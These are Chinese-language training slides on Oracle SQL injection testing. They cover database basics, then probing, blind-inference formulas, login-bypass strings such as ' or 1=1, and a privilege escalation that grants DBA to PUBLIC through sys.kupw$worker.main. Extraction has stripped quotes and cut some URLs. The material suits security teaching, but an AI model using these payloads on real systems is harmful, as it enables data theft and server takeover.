1、Web渗透测试系列_X_Oracle注入1.Oracle基础2.渗透测试框架3.常规注入4.盲注入5.注入绕过6.PL/SQL注入7.总结培训提纲Oracle基础Oracle数据库实例与数据库标识Oracle数据库包含两个方面,即Oracle数据库和Oracle实例,用户通过Oracle实例来访问Oracle数据库。数据库是作为整体看待的数据集合,通常在安装Oracle软件的最后阶段创建,用数据库名加以标识,数据库名在创建数据库时确认,且保存在控制文件中。实例是存取和控制数据库的软件机制。它由系统全局区(System Global Area)和Oracle进程两部分组成,和数据库名一样,实例也
2、要唯一标识,并且在安装Oracle软件时确认。虽然数据库名与实例名可以设置为相同的,但最好取不同标识符。Oracle数据库文件Oracle数据库有参数文件(.ora)、控制文件(.ctl)、数据文件(.dbf)、日志文件(.log)。当Oracle数据库启动时,根据初始化参数文件找到控制文件,再由控制文件操作数据和日志文件。Oracle数据库在建立和运行中,都需要读取一个初始化参数文件,它是一个文本文件,每个数据库至少有一个初始化参数文件,一般命名为init.ora。Oracle数据库物理结构Oracle数据库的物理结构是面向操作系统的,它描述数据库中的数据的存储方式。在物理上Oracle数据
3、库文件包括数据文件、日志文件和控制文件。数据库中的数据,逻辑上存放在表空间里,但物理上确是存放在数据文件里的,每一个数据文件只与一个数据库相联系,数据库文件一旦建立,就不能改变大小,一个表空间可以包含一个或多个数据文件。日志文件用于记录数据库所做的全部变更,以便在系统发生故障时进行恢复,每一个数据库至少有两个日志文件。控制文件是一个较少的二进制文件,控制文件一旦被破坏,则无法对数据进行操作。Oracle数据库逻辑结构数据库的逻辑结构是面向用户的,数据库的逻辑结构包含表空间、段、范围、数据块和模式对象。从逻辑上看,一个数据库由一个或多个表空间组成,表空间可以理解为一个或多个数据文件的逻辑集合;表
4、空间的逻辑存储对象是段,如用于表和索引的永久段,用于临时表数据和排序的临时段,用于事物回滚的回滚段;段由一组范围组成;一组范围由一组连续的数据块组成;一个数据块对应磁盘上一个或多个物理块。Oracle的权限管理Oracle的权限可以分为系统权限与对象权限。系统权限规定用户使用数据库的权限,系统权限是对用户而言的;对象权限规定对其他用户的表或视图的存取权限,是针对表或视图而言的。Oracle的角色管理Oracle通常通过DBA、RESOURCE、CONNECT三种角色来管理系统权限。DBA角色拥有系统最高权限,被赋予DBA角色的用户才可以创建数据库结构,被赋予RESOURCE角色的用户只可以创建
5、实体对象而不可以创建数据库结构,被赋予CONNECT角色的用户只可以登录Oracle而不可以创建实体对象和创建数据库结构。我们应该对普通用户赋予CONNECT,RESOURCE角色,对于dba管理用户赋予CONNECT,RESOURCE,DBA角色。Oracle的用户管理Oracle数据库是个多用户系统。为了保证数据库系统的安全,Oracle数据库管理系统配置了良好的安全机制。每一个Oracle数据库都有个用户表,它记载着每一个用户的有关信息,一旦用户进入系统,Oracle系统会通过这张表来检查用户的合法性。Oracle系统通过合理分配用户的权限来管理用户,通常Oracle将用户分为三类,即D
6、BA、RESOURCE和CONNECT三类角色,使不同用户的权限各不相同。Oracle的数据字典数据字典是Oracle存放有关数据库信息的地方,是用来描述数据的,比如一个表的创建者的信息,创建时间信息,所属表空间信息,用户访问权限信息等等。Oracle中的数据字典有静态和动态之分。静态数据字典主要是在用户访问数据字典时数据字典不会发生改变,例如用户创建的表。动态数据字典是依赖数据库运行的性能的,反映数据库运行的一些内在信息,所以在访问这类数据字典时往往不是一成不变的。静态数据字典主要是由表和视图组成,数据字典中的表是不能直接被访问的,但是可以访问数据字典中的视图。静态数据字典的视图分为三类,它
7、们分别由三个前缀组成:user_*、all_*、dba_*。Oracle集合并查询Oracle集合查询中的并查询(union select)在SQL注入过程中常用来提取数据。Union是并的意思,它可以连接两条或多条select语句的查询结果。Oracle使用union必须要满足两个限定条件:一个就是两个查询返回的列数必须相同,即匹配列;另一个就是两个select语句返回的数据所对应的列必须类型相同或至少是兼容的,即匹配数据类型。渗透测试框架框架概述利用Web应用程序存在的Oracle SQL注入漏洞,攻击者可以做很多事情,其中最直接也是最普遍的就是提取数据,除此之外还可以提升权限、读写文件、
8、执行系统命令等,直到攻击者可以完全控制服务器。显而易见的是攻击者要想利用Oracle 注入漏洞完全控制服务器不是一蹴而就的,是需要经过寻找、探测、利用等过程,而这个过程就是指导我们安全渗透测试人员测试Oracle SQL注入漏洞的框架。框架图解框架说明渗透测试框架图解说明Oracle SQL注入渗透测试分两大模块,左边模块是注入漏洞的探测阶段,在该模块的主要任务是覆盖应用程序所有的可测试点并对测试点进行探测,确定每一个可测试点是否是一个可注入点,发现可注入点后,再探测清楚数据库的基本信息,为右边的漏洞利用提供依据,左边模块从左到右是一个探测流程。右边模块是在左边模块探测的基础上发起的实际的攻击
9、,每一个攻击都为完成不同的目的,各自独立。从框架图中,可以清楚的了解SQL注入漏洞的探测阶段才是渗透过程的重点,无论对于攻击者还是对于渗透测试人员都是如此,发现了漏洞才能利用漏洞。常规注入收集应用程序可测试点应用程序可测试点指的是Web应用程序页面中用户可控数据的入口点。用户通过入口点输入的数据,如果没有经过验证过滤而被用于操作数据库,就有可能存在SQL注入漏洞。所以在收集可测试点的过程中,应尽量确保覆盖范围,不遗漏每一个可测试点。常见的可测试点有url查询字符串参数、post表单数据、cookie数据,post表单数据往往还包含一些隐藏字段。当然可测试点远不止这几种,http请求报文头中的任
10、何消息报头的值都可以作为可测试点,如Referer消息报头等,但通常情况下我们只需要考虑常见的那三种可测试点即可(因为请求消息报头一般不会被应用程序用于操作数据库)。确定可测试点是可注入点确定可测试点是否是可注入点,是SQL注入渗透测试最重要的一个环节。确定的依据主要有两种,一种是依据用户输入数据是否会导致应用程序出现SQL语法错误,另一种是依据用户输入数据执行结果的差异性。依据SQL语法错误判定通常指的就是单引号测试,依据SQL语句执行的差异判定最经典就是“and 1=1”与“and 1=2”测试。数据库类型探测发现了SQL注入漏洞相当于找到了切入点,对于攻击者没有任何意义,对于渗透测试人员
11、没有令人信服的凭证,所以万里长征要想取得成功,我们还需一步步走。如果说发现SQL注入漏洞为我们指明了革命的方向,那么探测清楚数据库类型就是革命的路线方针,它可以让我们在整个渗透测试过程中少走弯路,为我们进一步的发起总攻提供强有力的支持。常用的方法有Oracle特有dual数据表、Oracle错误信息、Oracle版本信息、Oracle特有拼串操作符、Oracle特有函数。数据库基本信息探测探测数据库类型也是探测基本信息的一步,但知道了数据类型与版本还远远不够,还不足以为进一步渗透提供足够的信息,还有一些基本信息需要探测清楚,包括当前用户名、当前用户权限、当前数据库名、当前数据库表信息、当前数据
12、库列信息。知道了这些信息,基本上我们就可以明确利用这个SQL注入漏洞可以做些什么,是爆取数据、获取敏感文件还是上传木马。爆取数据库数据利用SQL注入漏洞爆取数据库数据,是SQL注入攻击的最直接的价值体现。有了基本信息探测阶段探测的数据库表信息与数据库列信息,爆取数据库数据是水到渠成的事情。直接构造SQL语句“select 列名 from 表名”爆取数据。盲注入一般推断技术一般推断技术分两步:第一步推断某个要探测的数据的长度N;第二步推断N个字节的值。第一步推断长度是非常重要的,如果没有推断出长度,就无法确定第二步要推断多少个字节的值。以推断用户名为例它的推断公式是: and (select l
13、ength(sys_context(userenv,current_user) from dual)=d,d是整数 and (select substr(sys_context(userenv,current_user),i,1) from dual)= w,i取0.N,w取A-Z,a-z,0-9,_二分法推断技术从推断过程看二分法推断技术同一般推断技术一样分两步:第一步推断要探测的数据的个数或长度或者两者都有;第二步利用二分法发送8个请求推断要探测的数据的每一个字节值。以推断数据表表名为例它的推断公式是: and (select ascii(substr(table_name,i,1) fr
14、om (select rownum,table_name from user_tables where rownumN,i取0.n-1,n是探测的数据表长度,j取2.m+1,m是探测的数据表的个数,N取0.255逐位推断技术在逐位推断技术中,长度个数的推断也是必不可少的,以推断TB_USRS数据表数据列的列名为例它的推断公式是: and bitand(select ascii(substr(column_name,i,1) from (select rownum,column_name from user_tab_columns where table_name=TB_USERS and ro
15、wnumj order by 1 desc) where rownum=1),2N)=2N,i取0.n-1,n是探测的TB_USERS第j-1个数据列的长度,j取2.m+1,m是探测的TB_USERS数据列的个数,N取0.7拆分与平衡技术拆分与平衡(Parameter Splitting and Balancing)是SQL盲注中经常用到的技术,分解合法输入的操作称为拆分,平衡则保证最终的查询中不会包含不平衡的结尾单引号。其基本思想是收集合法的请求参数,之后使用SQL关键字对它们进行修改已保证与原数据不同,但当数据库解析它们时,二者的功能是等价的。 department=Secu|rity 与
16、 department=Security resume.jsp?id=0%2b(select case when substr(sys_context(userenv,current_user),0,1)= O then 1 else 0 end from dual)判断真假技术基于内容基于错误基于时间注入绕过认证 注入绕过原理利用注入漏洞绕过认证不同于常规注入和盲注,它的目的只是利用内联和终止式注入绕过应用程序认证,这种注入漏洞主要存在于应用程序登录页面。 字符串式内联注入绕过 字符串式终止注入绕过 数字式内联注入绕过 数字式终止注入绕过字符串式内联注入绕过某公司Web站点要求用户输入正确的
17、用户名和密码进行表单身份认证,用户输入用户名和密码后,应用向数据库发送一个查询以对用户进行认证,查询的格式为: select * from administrators where username=USER ENTRY and password=USER ENTRY通过增加一个新的or条件( or 1=1 or 1=1)绕过认证,语句为: select * from administrators where username= or 1=1 or 1=1 and password=字符串式终止注入绕过某公司Web站点要求用户输入正确的用户名和密码进行表单身份认证,用户输入用户名和密码后,应用
18、向数据库发送一个查询以对用户进行认证,查询的格式为: select * from administrators where username=USER ENTRY and password=USER ENTRY通过username字段中注入“ or 1=1;-”,口令保持为空,语句如下: select * from administrators where username= or 1=1;- and password=数字式内联注入绕过假设用户可以登录到Victim公司访问自己的资料,格式如下: http:/ 1=1”语句,可以返回所有用户的消息而不单是自己的消息,如下: http:/ or
19、 1=1此时服务器执行的SQL语句为: select * from messages where uid=1 or 1=1上述查询会返回messages表所有的行,而不只是那些发送给自己的消息行,这样我们就绕过了认证访问了发送给其他用户的消息。数字式终止注入绕过防御技术中包括从最开始的位置检测清除用户输入中的所有空格或者截短用户输入的值,此时我们可以使用多行注释绕过这些限制,还以数字式内联注入的例子说明,假设正在使用下列攻击绕过验证: http:/ 创建一个将“DBA”角色授予“PUBLIC”用户的函数:create or replace function F1 return number a
20、uthid current_user as pragma autonomous_transaction;begin execute immediate GRANT DBA TO PUBLIC;commit;return 1;end; 利用“sys.kupw$woker.main”注入漏洞执行该函数:execute sys.kupw$worker.main( and 1=|user|.f1-,); 启用DBA角色:set role DBA;PL/SQL读文件utl_fileDBMS_LOB外部表XMLTypeJavaOracle TextPL/SQL写文件utl_fileJavaDBMS_ADVISOR外部表操作系统命令和重定向utl_file包读写文件PL/SQL执行操作系统命令Oracle EXTPROCJavaDBMS_SCHEDULER本地PL/SQLAlter system set events缓冲区溢出Java存储过程执行系统命令总结总结 介绍了Oracle基本知识介绍常规注入流程介绍了盲注技术介绍了注入绕过技术介绍了PL/SQL注入